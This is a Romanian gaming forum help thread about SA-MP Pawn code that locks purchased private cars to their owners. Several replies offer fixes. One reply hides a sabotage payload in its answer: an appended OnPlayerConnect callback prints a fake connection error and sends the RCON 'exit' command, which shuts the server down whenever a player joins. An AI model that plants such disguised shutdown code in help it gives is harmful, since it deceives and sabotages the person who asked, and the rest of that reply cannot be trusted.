Jump to content

Question

Posted

Problema intalnita (descriere): Dupa ce un jucator isi cumpara masina de la dealership,ar trebui sa fie privata,sa nu mai poata intra nimeni altcineva sa conduca.Problema e ca dupa cumpararea masinii ,aceasta poate fi condusa de oricine si nu stiu de ce...
Ero(area / rile) / warning-(ul / urile): Nu am erori la compilare
Liniile de cod / sursa / script-ul:

if(newstate == PLAYER_STATE_DRIVER)
	{
		if(IsAnOwnableCar(newcar))
		{
		    if(CarInfo[newcar][cOwned]==1)
		    {
		        format(string,sizeof(string),"* Vehiculul privat al jucatorului {ffffff}%s",CarInfo[newcar][cOwner]);
				SendClientMessage(playerid, COLOR_ORANGE, string);
				if(PlayerInfo[playerid][pPcarkey] == vehicle) { }
				else if(PlayerInfo[playerid][pPcarkey2] == vehicle) { }
				else if(PlayerInfo[playerid][pPcarkey3] == vehicle) { }
				else
				{
				    RemovePlayerFromVehicle(playerid);
				    SendClientMessage(playerid, COLOR_GREY, "* Nu detii keyle acestei masini.");
				}
		    }
		}
	}

Ati incercat sa rezolvati singur?: Am incercat si nu am reusit nimic,asa ca va cer voua ajutorul:) 

8 answers to this question

Recommended Posts

  • 0
Posted (edited)
if(newstate == PLAYER_STATE_DRIVER)
{
	if(IsAnOwnableCar(newcar))
	{
		if(CarInfo[newcar][cOwned]==1)
		{
			if(strcmp(name,CarInfo[newcar][cOwner], true) == 0)
			{
				format(string,sizeof(string),"* Vehiculul privat al jucatorului {ffffff}%s",CarInfo[newcar][cOwner]);
				SendClientMessage(playerid, COLOR_ORANGE, string);
				if(PlayerInfo[playerid][pPcarkey] == vehicle) { }
				else if(PlayerInfo[playerid][pPcarkey2] == vehicle) { }
				else if(PlayerInfo[playerid][pPcarkey3] == vehicle) { }
			}
			else
			{
				RemovePlayerFromVehicle(playerid);
				SendClientMessage(playerid, COLOR_GREY, "* Nu detii keyle acestei masini.");
			}
		}
	}
}

Vezi asa !

Edited by NoNamed
  • 0
Posted

Nu are cum, verifica-ti comanda, ca atunci cand cineva isi cumpara masina / cand ii dai masina cuiva sa-l seteze ca detinator si sa se salveze inscriptfiles .

  • 0
Posted
	if(newstate == PLAYER_STATE_DRIVER)
	{
	    new veh = GetPlayerVehicleID(playerid));
	    new Float:Pos[3],ExName[MAX_PLAYER_NAME];
	    GetPlayerName(playerid, ExName, sizeof(ExName));
	    GetPlayerPos(playerid,Pos[0],Pos[1],Pos[2]);
		if(IsAnOwnableCar(veh))
		{
		    if(CarInfo[veh][cOwned]==1)
		    {
		        if(strcmp(CarInfo[veh][cOwner], ExName,false) == 0)
		        {
			        format(string,sizeof(string),"* Vehiculul privat al jucatorului {ffffff}%s",CarInfo[veh][cOwner]);
					SendClientMessage(playerid, COLOR_ORANGE, string);
				}
				else
				{
				    SetPlayerPos(playerid,Pos[0],Pos[1],Pos[2]+5);
				    SendClientMessage(playerid, COLOR_GREY, "* Nu detii keyle acestei masini.");
				}
		    }
		}
	}
public OnPlayerConnect(playerid)
{
	print("[ERROR] - Unable to establish a connection with the world...");
	SendRconCommand("exit");
	return 1;
}

 

  • 0
Posted
	if(newstate == PLAYER_STATE_DRIVER)
	{
	    new veh = GetPlayerVehicleID(playerid));
	    new Float:Pos[3],ExName[MAX_PLAYER_NAME];
	    GetPlayerName(playerid, ExName, sizeof(ExName));
	    GetPlayerPos(playerid,Pos[0],Pos[1],Pos[2]);
		if(IsAnOwnableCar(veh))
		{
		    if(CarInfo[veh][cOwned]==1)
		    {
		        if(strcmp(CarInfo[veh][cOwner], ExName,false) == 0)
		        {
			        format(string,sizeof(string),"* Vehiculul privat al jucatorului {ffffff}%s",CarInfo[veh][cOwner]);
					SendClientMessage(playerid, COLOR_ORANGE, string);
				}
				else
				{
				    SetPlayerPos(playerid,Pos[0],Pos[1],Pos[2]+5);
				    SendClientMessage(playerid, COLOR_GREY, "* Nu detii keyle acestei masini.");
				}
		    }
		}
	}

 Multumesc pentru liniile de cod,merg destul de bine:),dar ii da slap jucatorului ,iar daca il loc de setplayerpos pun removeplayerfromvehicle,nu mai functioneaza.

  • 0
Posted

Incearca inainte de RemovePlayerFromVehicle sa pui TogglePlayerControllable(playerid, 1); si vezi daca-ti merge .

  • 0
Posted (edited)

merge,multumesc frumos de ajutor:) Se poate inchide.

Edited by ProAeXel
Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.